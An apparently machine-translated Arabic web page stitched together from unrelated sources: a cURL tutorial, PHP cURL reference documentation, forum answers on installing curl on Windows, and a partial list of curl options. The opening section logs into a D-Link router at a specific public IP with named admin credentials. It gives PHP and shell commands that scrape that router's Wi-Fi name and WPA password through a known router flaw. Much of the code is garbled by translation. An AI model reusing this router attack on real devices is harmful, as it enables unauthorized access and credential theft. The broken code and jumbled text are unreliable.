نحن ننظر إلى الممتلكات فعل. أولئك. الصفحة الأخيرة هي تسجيل الدخول.php. نحن بحاجة إلى العنوان الكامل، مثل هذا

مخفية عن الضيوف

وهنا نجد أيضًا طريقة الإرسال: طريقة = "آخر"

أعرف أيضًا تسجيل الدخول وكلمة المرور: admin وqwerasdfzxcv
أولئك. يتم إرسال سلسلة إلى الخادم من النموذج باستخدام طريقة POST. من الناحية النظرية، يجب أن يعمل النص السابق الذي أضفنا إليه سطرًا جديدًا. أولئك. يجب أن تحدث المصادقة.

0) ( echo "خطأ في الضفيرة: " . curl_error($ch); ) else ( ) curl_ Close($ch); ?>

سطر جديد في البرنامج النصي

curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");

هنا curl_setopt- الوظيفة المألوفة بالفعل لتحديد خيارات cURL، CURLOPT_POSTFIELDS- هذا هو اسم الخيار الذي نقوم بتعيينه. CURLOPT_POSTFIELDSيحتوي على جميع البيانات التي يتم نقلها باستخدام طريقة POST. حسنا، الخط نفسه LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv- هذه هي نفس البيانات التي ننقلها.

إذا قمت بفحص النموذج بعناية، ستلاحظ أنه يحتوي أيضًا على حقول مخفية. ويمكن معالجة البيانات أو استكمالها باستخدام جافا سكريبت. يمكنك دراسة كل هذا، لكنني أفضل طريقة أبسط.

أنا أستخدم Wireshark. تم تصميم هذا البرنامج لشم (اعتراض) حركة المرور. وفيه أنه من المريح جدًا معرفة ما يتم نقله بالضبط إلى الموقع.

شاهد هذا الفيديو الصغير:

لقد أدخلت المعلمة الصحيحة، وقمت أيضًا بتعديل البرنامج النصي قليلاً بحيث لا يقوم بتسجيل الدخول فحسب، بل يتلقى أيضًا شيئًا ما من جهاز التوجيه:

0) ( echo "خطأ في الضفيرة: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); curl_setopt($ ch2, CURLOPT_RETURNTRANSFER, 1); $response_data2 = curl_exec($ch2); preg_match("|f.ssid.value = "(.*)";|"، $response_data2, $results2 = "" ، ""، $results2)؛ $results2 = str_replace("";"، ""، $results2); echo "اسم شبكة Wi-fi: نتائج $2
"; preg_match("|f_wpa.wpapsk1.value(.*)";|"، $response_data2, $results3); $results3 = str_replace("f_wpa.wpapsk1.value"، ""، $results3)؛ $results3 = str_replace(""، ""، $results3)؛ $results3 = str_replace(""، ""، $results3)؛ صدى "كلمة مرور شبكة Wi-Fi: نتائج $3"; ) curl_Close($ch); ?>

مخفية عن الضيوف

(هذه ثغرة أمنية معروفة في أجهزة التوجيه D-Link DIR-300 وD-Link DIR-320 وD-Link DAP-1353).

مصادقة HTTP cURL على سطر الأوامر

نحن نعرف بالفعل العنوان الكامل، بالإضافة إلى السلسلة التي سيتم إرسالها. لذلك الأمر بسيط:

تجعيد --بيانات "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE =" http://188.35.8.64:8080/login.php

أعتقد أن كل شيء واضح، لأننا نظرنا بالفعل في هذه المواعيد النهائية. إذا كان أي شخص لا يفهم، اسأل في التعليقات.

من الأمثلة على استخدام cURL لاسترداد البيانات وتحليلها مجموعة الأوامر التالية:

Curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE =" http://188.35.8.64:8080/login.php > /dev/null && echo -e "nn " && echo "اسم شبكة Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "كلمة مرور شبكة Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | السيد "s/="//"

سيكون من الأصح كتابة هذا العنوان على النحو التالي: حالات الترخيص "المعقدة". أولئك. ضع كلمة "معقد" بين علامتي تنصيص. تبدو معقدة للوهلة الأولى فقط، عندما لا يكون من الواضح: مكان حدوث الإرسال، وما هي أسماء الحقول، وما الذي يتم إرساله بالضبط، وما إلى ذلك.

ولكن، في الواقع، كل ذلك يعود إلى أساليب POST أو GET. لفهم ما يتم إرساله بالضبط، يمكنك حفظ الصفحة بالنموذج على القرص الخاص بك وإضافة وظيفة لعرض البيانات التي تم إنشاؤها للإرسال إلى زر الإرسال. أو حتى أبسط - مثلي، Wireshark.

إذا كانت البيانات صحيحة، ولكن لم تتم المصادقة، فأنت بحاجة إلى البحث في الاتجاهات التالية:

• قم بتعيين سلسلة المرجع الصحيحة
• قم بتعيين سلسلة وكيل المستخدم "الصحيحة".

النصائح والحيل الضفيرة

cURL واستقبال ملفات تعريف الارتباط بالإضافة إلى CURLOPT_COOKIEJAR

أعتقد أنه من الواضح بالفعل أن cURL يتعامل مع ملفات تعريف الارتباط بشكل صحيح - حيث يخزنها ويستخدمها عندما يطلبها الخادم وما إلى ذلك. ولكن في بعض الأحيان يلزم حفظ ملفات تعريف الارتباط. هناك خيار لهذا يسمى CURLOPT_COOKIEJAR، ولكن ليس من الممكن استخدامه دائمًا. هذا هو ما خصصت له خدعتنا الأولى.

في بعض الأحيان، نظرًا للطريقة التي يتم بها تكوين PHP على الخادم، لا تتوفر لنا خيارات مثل CURLOPT_COOKIEJAR (يسمح لك بحفظ ملفات تعريف الارتباط المستلمة في ملف) وCURLOPT_COOKIEFILE (يسمح لك باستخدام ملفات تعريف الارتباط من ملف). لأن يقولون أنه باستخدام هذه الخيارات يمكننا سرقة أي ملف من الخادم الخاص بهم. هنا هو الحل لهذه المشكلة:

1) نحن لا نستخدم CURLOPT_FOLLOWLOCATION
2) استخدم curl_setopt($ch, CURLOPT_HEADER, 1)
3) اجمع ملفات تعريف الارتباط من الرأس مثل هذا:

Preg_match_all("|Set-Cookie: (.*);|U", $content, $results); ملفات تعريف الارتباط $ = تنفجر(";"، $results);

4) قم بتعيينها باستخدام curl_setopt($ch, CURLOPT_COOKIE, $cookies);

النصيحة الثانية. يمكننا أن نتحول من مهاجمين إلى ضحايا. ولتجنب الوقوع ضحية لهجوم رجل في الوسط، فإننا نفعل ذلك.

من فضلكم، توقفوا جميعًا عن تعيين إعداد CURLOPT_SSL_VERIFYPEER على false أو 0. إذا لم يكن تثبيت PHP الخاص بك يحتوي على مجموعة محدثة من شهادات CA الجذرية، فقم بتنزيل واحدة من موقع ويب curl واحفظها على الخادم الخاص بك:

مخفية عن الضيوف

ثم قم بتعيين المسار في ملف php.ini الخاص بك، على سبيل المثال في نظام التشغيل Windows:

Curl.cainfo=c:phpcaert.pem

يؤدي تعطيل CURLOPT_SSL_VERIFYPEER إلى السماح بهجوم رجل في الوسط (MITM)، وهو ما لا نريده!

حسنًا، النصيحة الأخيرة لهذا اليوم. هل تعلم أن عددًا كبيرًا من طلبات التجعيد غير المتزامنة ممكنة؟

لهذا يمكنك استخدام curl_multi_init. التفاصيل ورمز المثال في الوثائق الرسمية

مخفية عن الضيوف

مخفية عن الضيوف

مخفية عن الضيوف

تم حظر JavaScript في متصفحك. الرجاء تفعيل جافا سكريبت ليعمل الموقع!

لفة

تدعم PHP مكتبة libcurl، وهي مكتبة أنشأها Daniel Stenberg والتي تتيح لك الاتصال بأنواع مختلفة من الخوادم والبروتوكولات.
يدعم libcurl حاليًا بروتوكولات http وhttps وftp وgopher وtelnet وdict وfile وldap.
يدعم libcurl أيضًا شهادات HTTPS، وHTTP POST، وHTTP PUT، وتحميل FTP (يمكن القيام بذلك أيضًا باستخدام ملحق ftp PHP)، والتحميل المستند إلى نموذج HTTP، والوكلاء، وملفات تعريف الارتباط، ومصادقة المستخدم + كلمة المرور.

تم تقديم هذه الوظائف في PHP 4.0.2.

curl_init

curl_init - تهيئة جلسة CURL.

وصف

الموارد curl_init()

وظيفة curl_init()يقوم بتهيئة جلسة جديدة وإرجاع مقبض CURL لاستخدامه في الوظائف والوظائف. إذا كانت المعلمة الاختيارية عنوان URLيتم توفيره، فسيتلقى خيار CURLOPT_URL قيمة هذه المعلمة. يمكنك تثبيته يدويًا باستخدام .

curl_setopt

curl_setopt - يضبط خيارات نقل/نقل CURL.

وصف

منطقي curl_setopt(المورد الفصل، خيار السلسلة، القيمة المختلطة)

وظيفة curl_setopt()يضبط الخيارات لجلسة CURL المحددة بواسطة المعلمة الفصل. معامل خيارهو الخيار الذي تريد تعيينه، و قيمةهذه هي قيمة الخيار خيار .

معامل قيمةيجب أن تكون طويلة بالنسبة للخيارات التالية (المحددة بواسطة المعلمة خيار):

• CURLOPT_INFILESIZE: إذا كنت تقوم بتحميل ملف إلى موقع بعيد، فيجب استخدام هذا الخيار لإخبار PHP بالحجم المتوقع للملف.
• CURLOPT_VERBOSE: قم بتعيين هذا الخيار على قيمة غير صفرية إذا كنت تريد أن يقوم CURL بالإبلاغ عن جميع الإجراءات.
• CURLOPT_HEADER: اضبط هذا الخيار على قيمة غير صفرية إذا كنت تريد تضمين الرأس في الإخراج.
• CURLOPT_NOPROGRESS: اضبط هذا الخيار على قيمة غير صفرية إذا كنت لا تريد أن يعرض PHP مؤشر تقدم نقل CURL. (يقوم PHP تلقائيًا بتعيين هذا الخيار على قيمة غير صفرية؛ ما عليك سوى تغييره عند تصحيح الأخطاء.)
• كيرلوبت_لا أحد: اضبط هذا الخيار على قيمة غير الصفر إذا كنت لا تريد تضمين النص في الإخراج.
• CURLOPT_FAILONERROR: اضبط هذا الخيار على قيمة غير الصفر إذا كنت تريد أن يخرج PHP بصمت إذا كان كود HTTP الذي تم إرجاعه أكبر من 300. افتراضيًا، يتم إرجاع الصفحة بشكل طبيعي مع تجاهل الكود.
• CURLOPT_UPLOAD: اضبط هذا الخيار على قيمة غير الصفر إذا كنت تريد أن يقوم PHP بإعداد الملف للتحميل.
• CURLOPT_POST: اضبط هذا الخيار على قيمة غير صفرية إذا كنت تريد أن يقوم PHP بإجراء HTTP POST عادي. هذا المنشور بالصيغة العادية application/x-www-form-urlencoded، وهو الأكثر استخدامًا بواسطة نماذج HTML.
• CURLOPT_FTPLISTONLY: اضبط هذا الخيار على قيمة غير الصفر وسيقوم PHP بإدراج أسماء أدلة FTP.
• CURLOPT_FTPAPPEND: اضبط هذا الخيار على قيمة غير صفرية وسيقوم PHP بإلحاق الملف البعيد بدلاً من الكتابة فوقه.
• CURLOPT_NETRC: اضبط هذا الخيار على قيمة غير صفرية وسيقوم PHP بفحص ملف ~./netrc الخاص بك للعثور على اسم المستخدم وكلمة المرور للموقع البعيد الذي تتصل به.
• CURLOPT_FOLLOWLOCATION: اضبط هذا الخيار على قيمة غير صفرية لمتابعة أي رأس "Location:" يرسله الخادم كجزء من رأس HTTP (لاحظ أن هذا تكرار، وستتبع PHP جميع "Location: "-headers" التي يتم إرسالها. )
• CURLOPT_PUT: اضبط هذا الخيار على قيمة غير صفرية لـ HTTP PUT الملف. يجب تعيين ملف PUT باستخدام CURLOPT_INFILE وCURLOPT_INFILESIZE.
• CURLOPT_MUTE: اضبط هذا الخيار على قيمة غير صفرية وسيعمل PHP مخفيًا فيما يتعلق بوظائف CURL.
• CURLOPT_TIMEOUT: قم بتمرير معلمة طويلة تحتوي على الحد الأقصى للوقت بالثواني الذي تسمح بتشغيل وظائف CURL.
• CURLOPT_CONNECTTIMEOUT: قم بتمرير معلمة طويلة تحتوي على الحد الأقصى للوقت، بالثواني، الذي تسمح له بالانتظار عند محاولة الاتصال. استخدم 0 للانتظار إلى الأبد.
• CURLOPT_LOW_SPEED_LIMIT: قم بتمرير معلمة تحتوي على سرعة النقل، بالبايت في الثانية، والتي يجب أن يتم تشغيل النقل أدناه أثناء التنفيذ CURLOPT_LOW_SPEED_TIME، بالثواني، حتى تعتبرها PHP بطيئة للغاية وتقوم بإحباطها.
• CURLOPT_LOW_SPEED_TIME: قم بتمرير معلمة طويلة تحتوي على الوقت بالثواني الذي يجب تشغيل النقل أدناه أثناء تشغيل CURLOPT_LOW_SPEED_LIMIT لـ PHP لاعتباره بطيئًا للغاية وإحباطه.
• CURLOPT_RESUME_FROM: قم بالتمرير كمعلمة تحتوي على إزاحة البايت التي يجب أن يبدأ النقل عندها.
• CURLOPT_SSLVERSION: قم بتمرير المعلمة التي تحتوي على إصدار SSL المراد استخدامه (2 أو 3). بشكل افتراضي، تحاول PHP تحديد ذلك بنفسها، على الرغم من أنه في بعض الحالات يُطلب منك تعيين ذلك يدويًا.
• CURLOPT_SSL_VERIFYHOST: قم بالتمرير لفترة طويلة إذا كان يجب على CURL التحقق من الاسم الشائع لشهادة النظير في مصافحة SSL. تشير القيمة 1 إلى أنه يجب علينا التحقق من وجود اسم شائع/مشترك، وتشير القيمة 2 إلى أنه يجب علينا التأكد من مطابقته لاسم المضيف المقدم.
• CURLOPT_TIMECONDITION: قم بتمرير ما دام المعلمة التي تحدد كيفية التعامل مع CURLOPT_TIMEVALUE. يمكنك ضبط هذه المعلمة على TIMECOND_IFMODSINCE أو TIMECOND_ISUNMODSINCE. هذا يعمل فقط مع HTTP.
• CURLOPT_TIMEVALUE: قم بتمرير طول كمعلمة، وهو الوقت بالثواني منذ 1 يناير 1970. يتم استخدام هذا الوقت كما هو محدد بواسطة خيار CURLOPT_TIMEVALUE، أو سيتم استخدام TIMECOND_IFMODSINCE الافتراضي.
• CURLOPT_RETURNTRANSFER: قم بتمرير قيمة غير صفرية إذا كنت تريد أن يقوم CURL بإرجاع المعلومات المستلمة مباشرة بدلاً من طباعتها مباشرة.

معامل قيمةيجب أن تكون سلسلة لقيم المعلمات التالية خيار :

تتوقع الخيارات التالية واصف الملف، الذي يتم الحصول عليه باستخدام الوظيفة فوبين () :

• CURLOPT_FILE: الملف الذي يجب وضع مخرجات النقل فيه، بشكل افتراضي هو STDOUT.
• CURLOPT_INFILE: الملف الذي يأتي منه إدخال النقل الخاص بك.
• CURLOPT_WRITEHEADER: ملف لتسجيل جزء الرأس من الإخراج.
• CURLOPT_STDERR: ملف لتسجيل الأخطاء، بدلا من stderr.

معامل قيمة رد كتابة طويل (سلسلة المورد، بيانات السلسلة)( ... إرجاع strlen($data);) خيار :

• CURLOPT_WRITEFUNCTION: .
• CURLOPT_HEADERFUNCTION: .

معامل قيمةيجب أن تكون وظيفة النموذج التالي سلسلة read_callback (المورد ch، المورد fd، الطول الطويل)()لقيم المعلمات التالية خيار :

• CURLOPT_READFUNCTION: .

curl_exec

curl_exec - ينفذ جلسة CURL.

وصف

منطقي curl_exec(المصدر الفصل)

يجب استدعاء هذه الوظيفة بعد تهيئة جلسة CURL وتم تعيين كافة الخيارات لهذه الجلسة بالفعل. الغرض منه هو ببساطة تنفيذ جلسة CURL محددة مسبقًا (المحددة في المعلمة الفصل).

حليقة_إغلاق

Curl_Close - يغلق جلسة CURL.

وصف

فارغ حليقة_إغلاق(المصدر الفصل)

تقوم هذه الوظيفة بإغلاق جلسة CURL وتحرير جميع الموارد. مقبض الضفيرة الفصلتم حذفه أيضًا.

curl_errno

curl_errno - يُرجع عددًا صحيحًا يحتوي على رقم الخطأ الأخير.

وصف

المثال 1: تهيئة جلسة CURL جديدة واسترداد صفحة ويب.

المثال 2: استخدام وحدة CURL الخاصة بـ PHP للحصول على example.com

المثال 3: التحقق من إمكانية الوصول إلى عنوان URL باستخدام PHP's CURL

المثال 5: تحديد عنوان URL للإحالة باستخدام PHP's CURL

مثال 6: تحليل ملف تعريف الارتباط من الرأس باستخدام CURL PHP

مثال 7: تحليل ملف تعريف الارتباط من الرأس باستخدام CURL PHP

مثال 8: إعداد معالج تحميل الرأس باستخدام CURL PHP

مثال 9. حفظ صفحة في ملف وحساب معدل النقل باستخدام CURL PHP

"; echo "متوسط ​​سرعة التنزيل == " . $sAverageSpeedDownload . " 
"; echo "متوسط ​​سرعة التحميل == " . $sAverageSpeedUpload ." 
"؛ صدى صوت " 
"; $aCURLinfo = curl_getInfo($sh); print_r($aCURLinfo); صدى "

مثال 9. استلام صفحة عبر اتصال SSL (https)

مثال 10: استخدام الجلسات وملفات تعريف الارتباط في حليقة

مثال 11: تحميل ملف ومصفوفة متعددة الأبعاد في Curl. CURLOPT_POSTFIELDS + CurlFile

إذا كنت بحاجة إلى إرسال مصفوفة متعددة الأبعاد وملف في طلب POST، فسوف تواجه مشكلة غير قابلة للحل. إذا قمت بتمرير مصفوفة متعددة الأبعاد إلى CURLOPT_POSTFIELDS، فسيتم تمرير المستوى الثاني كسلسلة "Array". إذا قمت بالتحويل باستخدام http_build_query، فلن تتمكن من نقل الملف.

يوجد أدناه وظيفة لتشفير مصفوفة ثنائية الأبعاد مع تحميل ملف لـ Curl، والتي ستعمل في كلا الإصدارين الأقدم من PHP 5.3 وPHP 5.4 وPHP 5.6

/** يحول مصفوفة متعددة الأبعاد إلى مصفوفة أحادية البعد باستخدام فهارس معقدة ويستبدل @ في البادئة بـ CurlFile للاستخدام في Curl * @param $inputArray * @param string $inputKey * @return array $requestVars = array ("id" => array( 1, 2,"id"=>1234), "name" => "log", "logfile" => "@/tmp/test.log"); نحصل على: ["id"]=> int(1) ["id"]=> int(2) ["id"]=> int(1234) ["name"]=> string(3) "log" [ "logfile"]=> string(13) "/tmp/test.log" ) */ function converterToStringArray($inputArray, $inputKey="") ( $resultArray=; foreach ($inputArray as $key => $value ) ( $tmpKey = (bool)$inputKey ? $inputKey."[$key]" : $key; if (is_array($value)) ( $resultArray+=convertToStringArray($value, $tmpKey); ) elseif ($value) = = "@")( $resultArray[$tmpKey] = (class_exists(" CURLFile ", false)) ? new CurlFile(ltrim($value, "@")) : $value; ) else ( $resultArray[$tmpKey ] = $value; ) ) return $resultArray) // تحقق من $requestVars = array("id" => array(1, 2,"id"=>1234), "name" => "log", "logfile" " => "@/tmp/test.log"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "htmlweb.ru"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, converterToStringArray($requestVars)); $res = curl_exec($ch); تجعيد_إغلاق($ch); مُطبَّق

(PHP 4 >= 4.0.2، PHP 5، PHP 7)

حليقة_سيتوبت — يضبط معلمة لجلسة CURL

قائمة المعلمات

تم الحصول على مقبض cURL من curl_init().

المعلمة التي سيتم تعيينها CURLOPT_XXX.

قيمة معلمة الخيار.

منطقي:

بالنسبة لقيم معلمات الخيار التالية، يجب أن تكون معلمة القيمة من النوع عدد صحيح:

بالنسبة لقيم معلمات الخيار التالية، يجب أن تكون معلمة القيمة من النوع خيط:

بالنسبة لقيم معلمات الخيار التالية، يجب أن تكون معلمة القيمة عبارة عن صفيف:

بالنسبة لقيم معلمات الخيار التالية، يجب أن تكون معلمة القيمة عبارة عن مقبض دفق (يتم إرجاعه، على سبيل المثال، بواسطة الدالة فوبين ()):

بالنسبة لقيم معلمات الخيار التالية، يجب أن تكون معلمة القيمة اسم دالة صالحًا أو إغلاقًا صالحًا:

معاني أخرى:

إرجاع القيم

عائدات حقيقيعند الانتهاء بنجاح أو خطأ شنيعفي حالة وجود خطأ.

قائمة التغييرات

أمثلة

المثال رقم 1: تهيئة جلسة CURL وتحميل صفحة ويب

// إنشاء مورد جديد لعنوان URL
$ch = curl_init();

/* http://localhost/upload.php:
print_r($_POST);
print_r($_FILES);
*/

$ch = curl_init();

$data = array("name" => "Foo" , "file" => "@/home/user/test.png" );

Curl_setopt($ch, CURLOPT_URL, "http://localhost/upload.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

Curl_exec($ch);
?>

نتيجة تشغيل هذا المثال:

Array ( => Foo) Array ( => Array ( => test.png => image/png => /tmp/phpcpjNeQ => 0 => 279))

ملحوظات

تعليق:

تمرير مصفوفة إلى CURLOPT_POSTFIELDSيشفر البيانات كما بيانات متعددة الأجزاء/النموذج، في حين أن تمرير سلسلة مشفرة بعنوان URL سيؤدي إلى تشفير البيانات على أنها application/x-www-form-urlencoded.

21 إجابة

قد يكون لديك بالفعل حليقة

قد لا تحتاج إلى تنزيل أي شيء:

• إذا كنت تستخدم الإصدار 1803 من نظام التشغيل Windows 10 أو إصدارًا أحدث، فإن نظام التشغيل لديك يأتي مزودًا بنسخة من حليقة تم تكوينها بالفعل وجاهزة للاستخدام.

إذا كانت لديك احتياجات أكثر خصوصية (على سبيل المثال، تحتاج إلى إنشاءات cygwin، أو إنشاءات جهات خارجية، أو libcurl، أو ملفات الرأس، أو المصادر، وما إلى ذلك)، فاستخدم معالج التنزيل curl. بعد الإجابة على خمسة أسئلة، ستظهر لك قائمة بروابط التنزيل.

إزالة وضبط الضفيرة

ابحث عن curl.exe في الحزمة التي تم تنزيلها؛ ربما يكون تحت bin\ .

حدد موقعًا على محرك الأقراص الثابتة لديك والذي سيكون بمثابة موطن دائم لتجعيد الشعر:

• إذا كنت تريد إنشاء مجلد خاص به، فإن C:\Program Files\curl\ أو C:\curl\ سيفي بالغرض.
• إذا كان لديك الكثير من الملفات التنفيذية المجانية ولا تريد إضافة العديد من المجلدات المنفصلة إلى المسار الخاص بك، فاستخدم مجلدًا واحدًا لهذا الغرض، مثل C:\Program Files\tools\ أو C:\tools\ .

ضع curl.exe في المجلد. ولا تقم أبدًا بنقل المجلد أو محتوياته.

بعد ذلك ستحتاج إلى إتاحة التجعيد في أي مكان في سطر الأوامر. للقيام بذلك، قم بإضافة المجلد إلى PATH، مثل هذا:

1. انقر على قائمة ابدأ في نظام التشغيل Windows 10 ابدأ بكتابة "البيئة".
2. سوف ترى نتيجة البحث. تحرير متغيرات بيئة النظام. اختر هذا.
3. تفتح نافذة خصائص النظام. انقر فوق الزر متغيرات البيئةفي الأسفل.
4. حدد متغير "المسار" في قسم "متغيرات النظام" (الحقل السفلي). انقر فوق الزر يتغير.
5. انقر " يضيف"والصق المسار إلى المجلد الذي يوجد به curl.exe.
6. انقر نعم،إذا لزم الأمر. أغلق أي نوافذ وحدة تحكم مفتوحة وأعد فتحها حتى تحصل على PATH الجديد.

استمتع الآن بالكتابة على أي سطر أوامر. الوقت للحصول على المتعة!

لتشغيل الضفيرة من سطر الأوامر

أ) انقر بزر الماوس الأيمن على أيقونة جهاز الكمبيوتر

ب) حدد "خصائص"

د) انتقل إلى علامة التبويب [خيارات متقدمة] - زر "متغيرات البيئة".

هـ) ضمن "متغير النظام" حدد "المسار" و"تحرير"

و) أضف فاصلة منقوطة ثم المسار إلى المكان الذي وضعت فيه ملف curl.exe (على سبيل المثال D:\software\curl)

يمكنك الآن التشغيل من سطر الأوامر عن طريق كتابة:

الضفيرة www.google.com

بدءًا من الإصدار 1803 من نظام التشغيل Windows 10 (والإصدارات الأقدم، الإصدار 17063 من Insider)، لم تعد تقوم بتثبيت حليقة . يحتوي Windows على cur.exe (و tar.exe) الخاص به في C:\Windows\System32\ والذي يمكنك الوصول إليه مباشرة من CMD العادي.

C:\Users\vonc>C:\Windows\System32\curl.exe --version curl 7.55.1 (Windows) libcurl/7.55.1 تاريخ إصدار WinSSL: البروتوكولات: dict file ftp ftps http https imap imaps pop3 pop3s smtp ميزات smtps telnet tftp: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGO NTLM SSL C:\Users\vonc>C:\Windows\System32\tar.exe --version bsdtar 3.3.2 - libarchive 3.3.2 zlib/1.2.5.f- إيب

ربما تجدر الإشارة إلى أن Powershell v3 والإصدارات الأحدث تحتوي على Invoc-WebRequest cmdlet، الذي يتمتع ببعض إمكانيات التجعيد. ربما من الجدير بالذكر أيضًا أوامر cmdlets لـ New-WebServiceProxy وInvoc-RestMethod.

لست متأكدًا مما إذا كانت ستناسبك أم لا، ولكن على الرغم من أنني لست Windows، يجب أن أقول إنني أجد النهج القائم على الكائنات الذي يستخدمه PS أسهل بكثير للعمل مع الأدوات المساعدة مثل curl وwget وما إلى ذلك. قد تكون تستحق نظرة

يمكنك إنشاء أحدث إصدار من cur، وopensl، وlibssh2، وzlib في 3 خطوات سهلة باتباع هذا البرنامج التعليمي.

تم إنشاء Curl بشكل ثابت، لذلك لا يتعين عليك نشر وقت التشغيل الديناميكي الضروري.

يمكنك أيضًا تنزيل الإصدار المُصمم مسبقًا (x86 وx64) من

اعتقدت أنني سأكتب بالضبط ما فعلته (إصدار Windows 10، 64 بت):

حدد الضفيرة القابلة للتنفيذ.

حدد Win64.

اختر عالمي.

اختر أي واحد.

إصدار الضفيرة: 7.53.1 - تمكين SSL تمكين SSH. ائتمان: فيكتور شاكاتس. هذه الحزمة هي نوع قابل للتنفيذ من الضفيرة. سيوفر لك هذا الرابط ملفًا ثنائيًا تم تجميعه مسبقًا (أو في بعض الحالات، باستخدام المعلومات المتوفرة في الصفحة التي ينقلك إليها الرابط). يجوز لك أو لا تقوم بتثبيت libcurl كمكتبة/DLL مشتركة. يتم حزم الملف باستخدام 7zip. 7zip هو تنسيق أرشفة الملفات.

انقر فوق تنزيل.

يجب أن يكون لديك ملف curl-7.53.1-win64-mingw.7z في مجلد التنزيلات الخاص بك.

قم بتثبيت 7-Zip إذا لم يكن لديك.

انقر بزر الماوس الأيمن، 7-Zip، استخراج هنا. انسخ الملف المستخرج والصقه في مكان ما مثل Z:\Tools\

إذا نظرت إلى مجلد bin فسترى curl.exe. إذا قمت بالنقر المزدوج عليها، فستومض النافذة وتختفي بسرعة. لتشغيله، تحتاج إلى استخدام سطر الأوامر. انتقل إلى مجلد bin الخاص بك وأدخل curt متبوعًا بالخيارات المتاحة لك لتقديم الطلب. يجب عليك استخدام علامات الاقتباس المزدوجة. لن تعمل علامات الاقتباس المفردة مع الضفيرة على نظام التشغيل Windows.

أنت الآن بحاجة إلى إضافة الضفيرة إلى متغير مسار المستخدم حتى لا تضطر إلى الانتقال إلى المجلد الصحيح لتشغيل البرنامج. انتقل إلى هذا الكمبيوتر، الكمبيوتر، خصائص النظام، إعدادات النظام المتقدمة، وقم بتسجيل الدخول كمسؤول (أنت لست مسؤولاً، أليس كذلك؟). متغيرات البيئة، متغيرات النظام، انظر إلى القائمة وحدد المسار، ثم تحرير، ثم جديد، ثم على سبيل المثال.

Z:\Tools\curl-7.53.1-win64-MinGW\Bin

يمكنك إضافة شرطة مائلة عكسية إذا أردت، لا أعتقد أن ذلك مهم. اضغط على زر التحرك لأعلى حتى يصبح في أعلى القائمة ويمكنك رؤيته بسهولة من الشاشة السابقة. انقر فوق "موافق"، "موافق"، "موافق"، ثم افتح موجه الأوامر ويمكنك تشغيل "curl" عن طريق كتابة "curl" من أي مجلد كأي مستخدم. لا تنسى الاقتباسات المزدوجة الخاصة بك.

هذا هو الجواب الذي أود الحصول عليه.

كنت أبحث عن عملية التحميل لفةوفي كل مكان قالوا نسخ الملف curl.exe على System32، لكنهم لم يقدموا رابطًا مباشرًا. حتى تتمكن من الاستمتاع هنا حليقة.exeسهلة ل مجلد بنفقط

قم بفك ضغطه ثم انتقل إلى مجلد bin حيث ستحصل على ملف exe

لقد جعل هذا المثبت الأمر سهلاً بالنسبة لي http://www.confusedbycode.com/curl/

"يمكنك تثبيت cURL لنظام التشغيل Windows ببضع نقرات فقط. ما عليك سوى تنزيل برنامج التثبيت وتشغيله من الجدول أدناه والنقر فوق "تثبيت". يتضمن التثبيت الافتراضي.

غالبًا ما يتعين علينا تنزيل ملفات متنوعة من الإنترنت، على سبيل المثال، ملفات البرامج القابلة للتنفيذ، وملفات البرامج النصية، وأرشيفات المصدر. ولكن هذا لا يلزم دائمًا أن يتم من خلال المتصفح. في العديد من المواقف، يكون تنفيذ جميع الإجراءات من خلال الجهاز أسهل بكثير. لأنه بهذه الطريقة يمكنك أتمتة العملية. من ناحية أخرى، يتعين على مشرفي المواقع من وقت لآخر اختبار إمكانية الوصول إلى موقع الويب، والتحقق من العناوين المرسلة والمستلمة، وغير ذلك الكثير.

لحل مثل هذه المشكلات والمشكلات ذات النطاق المماثل، يمكنك استخدام الأداة المساعدة Curl. فهو يسمح لك بحل مجموعة واسعة من المشكلات، بما في ذلك حتى محاكاة إجراءات المستخدم على الموقع. في هذه المقالة سننظر في كيفية استخدام برنامج Curl وما هو ولماذا نحتاج إلى هذا البرنامج.

في الواقع، يعد curl أكثر من مجرد أداة مساعدة لسطر الأوامر لنظام التشغيل Linux أو Windows. هذه مجموعة من المكتبات التي تنفذ الإمكانيات الأساسية للعمل مع صفحات URL ونقل الملفات. تدعم المكتبة العمل مع البروتوكولات: FTP، FTPS، HTTP، HTTPS، TFTP، SCP، SFTP، Telnet، DICT، LDAP، بالإضافة إلى POP3، IMAP وSMTP. إنه أمر رائع لمحاكاة إجراءات المستخدم على الصفحات والعمليات الأخرى باستخدام عناوين URL.

تمت إضافة دعم مكتبة Curl إلى العديد من لغات ومنصات البرمجة المختلفة. الأداة المساعدة cur هي غلاف مستقل لهذه المكتبة. هذه هي الأداة التي سنركز عليها في هذه المقالة.

أمر حليقة

قبل الانتقال إلى وصف كيفية استخدام أمر Curl linux، دعونا نلقي نظرة على الأداة المساعدة نفسها وخياراتها الرئيسية التي سنحتاج إليها. بناء جملة الأداة بسيط للغاية:

رابط خيارات الضفيرة $

الآن دعونا نلقي نظرة على الخيارات الرئيسية:

• -# - عرض شريط تقدم بسيط أثناء التحميل؛
• -0 - استخدام بروتوكول http 1.0؛
• -1 - استخدام بروتوكول التشفير tlsv1؛
• -2 - استخدم sslv2؛
• -3 - استخدم sslv3؛
• -4 - استخدام IPv4؛
• -6 - استخدام IPv6؛
• -أ- حدد USER_AGENT الخاص بك؛
• -ب- حفظ ملف تعريف الارتباط إلى ملف؛
• -ج- إرسال ملف تعريف الارتباط إلى الخادم من ملف؛
